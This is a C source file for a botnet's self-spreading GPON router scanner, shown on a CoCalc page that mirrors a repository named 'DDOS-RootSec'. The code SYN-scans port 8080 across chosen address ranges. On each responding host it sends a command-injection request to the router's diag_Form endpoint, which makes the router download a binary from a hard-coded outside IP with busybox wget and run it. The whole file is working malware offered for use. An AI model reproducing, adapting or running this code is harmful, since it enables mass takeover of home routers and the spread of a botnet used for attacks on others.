Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/GPON/gpon8080_scanner.c
5038 views
1
#ifdef SELFREP
2
3
#define _GNU_SOURCE
4
5
#ifdef DEBUG
6
#include <stdio.h>
7
#endif
8
#include <unistd.h>
9
#include <stdlib.h>
10
#include <sys/socket.h>
11
#include <arpa/inet.h>
12
#include <sys/select.h>
13
#include <sys/types.h>
14
#include <time.h>
15
#include <fcntl.h>
16
#include <signal.h>
17
#include <errno.h>
18
#include <string.h>
19
#include <linux/ip.h>
20
#include <linux/tcp.h>
21
22
#include "includes.h"
23
#include "gpon8080_scanner.h"
24
#include "table.h"
25
#include "rand.h"
26
#include "util.h"
27
#include "checksum.h"
28
29
int gpon8080_scanner_pid = 0, gpon8080_rsck = 0, gpon8080_rsck_out = 0, gpon8080_auth_table_len = 0;
30
char gpon8080_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
31
struct gpon8080_scanner_auth *gpon8080_auth_table = NULL;
32
struct gpon8080_scanner_connection *conn_table;
33
uint16_t gpon8080_gpon8080_auth_table_max_weight = 0;
34
uint32_t gpon8080_fake_time = 0;
35
int gpon8080_ranges[] = {189,187,201};
36
int gpon8080_recv_strip_null(int sock, void *buf, int len, int flags)
37
{
38
int ret = recv(sock, buf, len, flags);
39
40
if(ret > 0)
41
{
42
int i = 0;
43
44
for(i = 0; i < ret; i++)
45
{
46
if(((char *)buf)[i] == 0x00)
47
{
48
((char *)buf)[i] = 'A';
49
}
50
}
51
}
52
53
return ret;
54
}
55
56
void gpon8080_scanner(void)
57
{
58
int i = 0;
59
uint16_t source_port;
60
struct iphdr *iph;
61
struct tcphdr *tcph;
62
63
// Let parent continue on main thread
64
gpon8080_scanner_pid = fork();
65
if(gpon8080_scanner_pid > 0 || gpon8080_scanner_pid == -1)
66
return;
67
68
LOCAL_ADDR = util_local_addr();
69
70
rand_init();
71
gpon8080_fake_time = time(NULL);
72
conn_table = calloc(GPON8080_SCANNER_MAX_CONNS, sizeof(struct gpon8080_scanner_connection));
73
for(i = 0; i < GPON8080_SCANNER_MAX_CONNS; i++)
74
{
75
conn_table[i].state = GPON8080_SC_CLOSED;
76
conn_table[i].fd = -1;
77
conn_table[i].credential_index = 0;
78
}
79
80
// Set up raw socket scanning and payload
81
if((gpon8080_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
82
{
83
#ifdef DEBUG
84
printf("[scanner] failed to initialize raw socket, cannot scan\n");
85
#endif
86
exit(0);
87
}
88
fcntl(gpon8080_rsck, F_SETFL, O_NONBLOCK | fcntl(gpon8080_rsck, F_GETFL, 0));
89
i = 1;
90
if(setsockopt(gpon8080_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
91
{
92
#ifdef DEBUG
93
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
94
#endif
95
close(gpon8080_rsck);
96
exit(0);
97
}
98
99
do
100
{
101
source_port = rand_next() & 0xffff;
102
}
103
while(ntohs(source_port) < 1024);
104
105
iph = (struct iphdr *)gpon8080_scanner_rawpkt;
106
tcph = (struct tcphdr *)(iph + 1);
107
108
// Set up IPv4 header
109
iph->ihl = 5;
110
iph->version = 4;
111
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
112
iph->id = rand_next();
113
iph->ttl = 64;
114
iph->protocol = IPPROTO_TCP;
115
116
// Set up TCP header
117
tcph->dest = htons(8080);
118
tcph->source = source_port;
119
tcph->doff = 5;
120
tcph->window = rand_next() & 0xffff;
121
tcph->syn = TRUE;
122
123
#ifdef DEBUG
124
printf("[scanner] scanner process initialized. scanning started.\n");
125
#endif
126
127
// Main logic loop
128
while(TRUE)
129
{
130
fd_set fdset_rd, fdset_wr;
131
struct gpon8080_scanner_connection *conn;
132
struct timeval tim;
133
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
134
135
// Spew out SYN to try and get a response
136
if(gpon8080_fake_time != last_spew)
137
{
138
last_spew = gpon8080_fake_time;
139
140
for(i = 0; i < GPON8080_SCANNER_RAW_PPS; i++)
141
{
142
struct sockaddr_in paddr = {0};
143
struct iphdr *iph = (struct iphdr *)gpon8080_scanner_rawpkt;
144
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
145
146
iph->id = rand_next();
147
iph->saddr = LOCAL_ADDR;
148
iph->daddr = get_random_gpon8080_ip();
149
iph->check = 0;
150
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
151
152
tcph->dest = htons(8080);
153
tcph->seq = iph->daddr;
154
tcph->check = 0;
155
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
156
157
paddr.sin_family = AF_INET;
158
paddr.sin_addr.s_addr = iph->daddr;
159
paddr.sin_port = tcph->dest;
160
161
sendto(gpon8080_rsck, gpon8080_scanner_rawpkt, sizeof(gpon8080_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
162
}
163
}
164
165
// Read packets from raw socket to get SYN+ACKs
166
last_avail_conn = 0;
167
while(TRUE)
168
{
169
int n = 0;
170
char dgram[1514];
171
struct iphdr *iph = (struct iphdr *)dgram;
172
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
173
struct gpon8080_scanner_connection *conn;
174
175
errno = 0;
176
n = recvfrom(gpon8080_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
177
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
178
break;
179
180
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
181
continue;
182
if(iph->daddr != LOCAL_ADDR)
183
continue;
184
if(iph->protocol != IPPROTO_TCP)
185
continue;
186
if(tcph->source != htons(8080))
187
continue;
188
if(tcph->dest != source_port)
189
continue;
190
if(!tcph->syn)
191
continue;
192
if(!tcph->ack)
193
continue;
194
if(tcph->rst)
195
continue;
196
if(tcph->fin)
197
continue;
198
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
199
continue;
200
201
conn = NULL;
202
for(n = last_avail_conn; n < GPON8080_SCANNER_MAX_CONNS; n++)
203
{
204
if(conn_table[n].state == GPON8080_SC_CLOSED)
205
{
206
conn = &conn_table[n];
207
last_avail_conn = n;
208
break;
209
}
210
}
211
212
// If there were no slots, then no point reading any more
213
if(conn == NULL)
214
break;
215
216
conn->dst_addr = iph->saddr;
217
conn->dst_port = tcph->source;
218
gpon8080_setup_connection(conn);
219
}
220
221
FD_ZERO(&fdset_rd);
222
FD_ZERO(&fdset_wr);
223
224
for(i = 0; i < GPON8080_SCANNER_MAX_CONNS; i++)
225
{
226
int timeout = 5;
227
228
conn = &conn_table[i];
229
//timeout = (conn->state > GPON8080_SC_CONNECTING ? 30 : 5);
230
231
if(conn->state != GPON8080_SC_CLOSED && (gpon8080_fake_time - conn->last_recv) > timeout)
232
{
233
#ifdef DEBUG
234
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
235
#endif
236
237
close(conn->fd);
238
conn->fd = -1;
239
conn->state = GPON8080_SC_CLOSED;
240
free(conn->credentials);
241
conn->credential_index = 0;
242
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
243
244
continue;
245
}
246
247
if(conn->state == GPON8080_SC_CONNECTING || conn->state == GPON8080_SC_EXPLOIT_STAGE2 || conn->state == GPON8080_SC_EXPLOIT_STAGE3)
248
{
249
FD_SET(conn->fd, &fdset_wr);
250
if(conn->fd > mfd_wr)
251
mfd_wr = conn->fd;
252
}
253
else if(conn->state != GPON8080_SC_CLOSED)
254
{
255
FD_SET(conn->fd, &fdset_rd);
256
if(conn->fd > mfd_rd)
257
mfd_rd = conn->fd;
258
}
259
}
260
261
tim.tv_usec = 0;
262
tim.tv_sec = 3;
263
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
264
gpon8080_fake_time = time(NULL);
265
266
for(i = 0; i < GPON8080_SCANNER_MAX_CONNS; i++)
267
{
268
conn = &conn_table[i];
269
270
if(conn->fd == -1)
271
continue;
272
273
if(FD_ISSET(conn->fd, &fdset_wr))
274
{
275
int err = 0, ret = 0;
276
socklen_t err_len = sizeof(err);
277
278
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
279
if(err == 0 && ret == 0)
280
{
281
282
if(conn->state == GPON8080_SC_EXPLOIT_STAGE2)
283
{
284
#ifdef DEBUG
285
printf("[scanner] FD%d request sent to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
286
#endif
287
288
// build stage 2 payload
289
util_strcpy(conn->payload_buf, "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://217.61.6.127/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0");
290
291
// actually send the payload
292
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
293
294
// clear the payload buffer
295
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
296
297
// clear the socket buffer
298
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
299
300
conn->state = GPON8080_SC_CLOSED;
301
close(conn->fd);
302
conn->fd = -1;
303
304
continue;
305
}
306
else if(conn->state == GPON8080_SC_EXPLOIT_STAGE3)
307
{
308
conn->state = GPON8080_SC_CLOSED;
309
310
continue;
311
}
312
else
313
{
314
conn->credentials = malloc(256);
315
conn->state = GPON8080_SC_EXPLOIT_STAGE2;
316
}
317
}
318
else
319
{
320
#ifdef DEBUG
321
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
322
#endif
323
324
close(conn->fd);
325
conn->fd = -1;
326
conn->state = GPON8080_SC_CLOSED;
327
328
continue;
329
}
330
}
331
332
if(FD_ISSET(conn->fd, &fdset_rd))
333
{
334
while(TRUE)
335
{
336
int ret = 0;
337
338
if(conn->state == GPON8080_SC_CLOSED)
339
break;
340
close(conn->fd);
341
342
if(conn->rdbuf_pos == GPON8080_SCANNER_RDBUF_SIZE)
343
{
344
memmove(conn->rdbuf, conn->rdbuf + GPON8080_SCANNER_HACK_DRAIN, GPON8080_SCANNER_RDBUF_SIZE - GPON8080_SCANNER_HACK_DRAIN);
345
conn->rdbuf_pos -= GPON8080_SCANNER_HACK_DRAIN;
346
}
347
348
errno = 0;
349
ret = gpon8080_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, GPON8080_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
350
if(ret == 0)
351
{
352
#ifdef DEBUG
353
printf("[scanner] FD%d connection gracefully closed (stage %d)\n", conn->fd, conn->state);
354
#endif
355
errno = ECONNRESET;
356
ret = -1;
357
}
358
if(ret == -1)
359
{
360
if(errno != EAGAIN && errno != EWOULDBLOCK)
361
{
362
if(conn->state == GPON8080_SC_EXPLOIT_STAGE2)
363
{
364
#ifdef DEBUG
365
printf("[scanner] FD%d resetting connection preparing to continue with stage 2 of the exploit\n", conn->fd);
366
#endif
367
close(conn->fd);
368
gpon8080_setup_connection(conn);
369
continue;
370
}
371
372
close(conn->fd);
373
conn->fd = -1;
374
conn->state = GPON8080_SC_CLOSED;
375
free(conn->credentials);
376
conn->credential_index = 0;
377
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
378
}
379
break;
380
}
381
382
conn->rdbuf_pos += ret;
383
conn->last_recv = gpon8080_fake_time;
384
385
int len = util_strlen(conn->rdbuf);
386
conn->rdbuf[len] = 0;
387
388
if(conn->state == GPON8080_SC_GET_CREDENTIALS)
389
{
390
char *out = strtok(conn->rdbuf, " ");
391
392
while(out != NULL)
393
{
394
if(strstr(out, ""))
395
{
396
#ifdef DEBUG
397
printf("[scanner] FD%d parsing credentials...\n", conn->fd);
398
#endif
399
400
memmove(out, out + 11, strlen(out));
401
402
int i = 0;
403
404
for(i = 0; i < strlen(out); i++)
405
{
406
if(out[i] == ';' || out[i] == '"' || out[i] == ' ')
407
out[i] = 0;
408
}
409
410
conn->credentials[conn->credential_index] = strdup(out);
411
conn->credential_index++;
412
413
}
414
415
out = strtok(NULL, " ");
416
}
417
}
418
419
if(conn->credentials[0] == NULL && conn->credentials[1] == NULL)
420
{
421
#ifdef DEBUG
422
printf("[scanner] FD%d failed to retrieve credentials\n", conn->fd);
423
#endif
424
close(conn->fd);
425
conn->fd = -1;
426
conn->state = GPON8080_SC_CLOSED;
427
free(conn->credentials);
428
conn->credential_index = 0;
429
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
430
}
431
else
432
{
433
#ifdef DEBUG
434
printf("[scanner] FD%d retrieved user: %s, pass: %s changing exploit stages\n", conn->fd, conn->credentials[0], conn->credentials[1]);
435
#endif
436
437
close(conn->fd);
438
conn->fd = -1;
439
conn->state = GPON8080_SC_EXPLOIT_STAGE2;
440
conn->credential_index = 0;
441
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
442
}
443
}
444
}
445
}
446
}
447
}
448
449
void gpon8080_kill(void)
450
{
451
kill(gpon8080_scanner_pid, 9);
452
}
453
454
static void gpon8080_setup_connection(struct gpon8080_scanner_connection *conn)
455
{
456
struct sockaddr_in addr = {0};
457
458
if(conn->fd != -1)
459
close(conn->fd);
460
461
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
462
{
463
#ifdef DEBUG
464
printf("[scanner] failed to call socket()\n");
465
#endif
466
return;
467
}
468
469
conn->rdbuf_pos = 0;
470
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
471
472
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
473
474
addr.sin_family = AF_INET;
475
addr.sin_addr.s_addr = conn->dst_addr;
476
addr.sin_port = conn->dst_port;
477
478
conn->last_recv = gpon8080_fake_time;
479
480
if(conn->state == GPON8080_SC_EXPLOIT_STAGE2 || conn->state == GPON8080_SC_EXPLOIT_STAGE3)
481
{
482
}
483
else
484
{
485
conn->state = GPON8080_SC_CONNECTING;
486
}
487
488
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
489
}
490
491
static ipv4_t get_random_gpon8080_ip(void)
492
{
493
uint32_t tmp;
494
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
495
496
do
497
{
498
int gpon8080_scan = rand() % (sizeof(gpon8080_ranges)/sizeof(char *));
499
tmp = rand_next();
500
501
o1 = gpon8080_ranges[gpon8080_scan];
502
o2 = (tmp >> 8) & 0xff;
503
o3 = (tmp >> 16) & 0xff;
504
o4 = (tmp >> 24) & 0xff;
505
}
506
while(o1 == 127 || o1 == 0);
507
508
return INET_ADDR(o1,o2,o3,o4);
509
}
510
511
#endif
512
513
514